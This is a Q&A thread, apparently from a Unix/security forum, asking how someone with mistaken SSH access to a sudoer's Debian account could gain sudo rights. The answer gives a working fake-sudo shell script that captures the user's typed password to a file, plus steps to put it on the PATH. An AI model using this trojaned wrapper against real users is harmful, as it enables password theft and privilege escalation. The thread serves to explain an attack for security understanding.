Context: Debian Linux.

Alice has a user account on the machine. She is one of sudoers and has a secure password. She accesses the machine via SSH using a SSH key only (password will not work).

By some administrative mistake, Bob gets access to the same account instead of getting a separate account: his SSH key is added to authorized_keys. Bob does not get the password from Alice.

How could Bob successfully perform a sudo? Assume that:

  • Bob has no access to the server except for the SSH access to Alice's account.
  • Alice will be connecting to her account regularly, performing sudo etc.

I assume this cannot be done without Alice's cooperation. Thus I am looking for some kind of phishing or social engineering attack, like replacing sudo with an alias that will log the password first.

It's basically a traditional root escalation problem with the added benefit of (unaware) user cooperation.

  • I assume that the way sudo works, bob won't be able to do much on basically secured environment, but as there are some pretty imaginative persons around, I'll check proposed answers.
    – M4rty
    Commented Oct 19, 2017 at 10:51

1 Answer 1


In the past this would have been doable without Alice’s help, since sudo’s tokens were valid across terminal sessions: Bob could just wait for Alice to authenticate with sudo, then use sudo himself without having to enter a password.

Even with per-terminal tokens, obtaining Alice’s password is relatively easy in the scenario described here, as long as Alice doesn’t check her environment thoroughly all the time:

  • using Alice’s account, create ~/.bin/sudo with something like

    if [ $# = 0 ]; then exec /usr/bin/sudo; fi
    if [ ! -f ~/.bin/alices-password ]; then
      echo -n "[sudo] password for $USER: "
      read -s password
      echo ${password} > ~/.bin/alices-password
      sleep 2
      echo "Sorry, try again."
      /usr/bin/sudo -k
    exec /usr/bin/sudo "$@"
  • add ~/.bin to the path, in the appropriate rc-file depending on which shell Alice uses;

  • wait for Alice to use sudo in a shell which has noticed the presence of ~/.bin/sudo...

Bob can wait for a password to appear in ~/.bin/alices-password and try it himself before disabling the special variant (doing that in an unobtrusive way is left as an exercise for the reader — remember that the shell caches paths...).

There are a few subtleties in the script above, in particular sudo -k which ensures that “Sorry, try again.” will actually be followed by sudo asking for a password. The script could be improved further, that’s another exercise for the reader!

As you might imagine, this isn’t the only approach...

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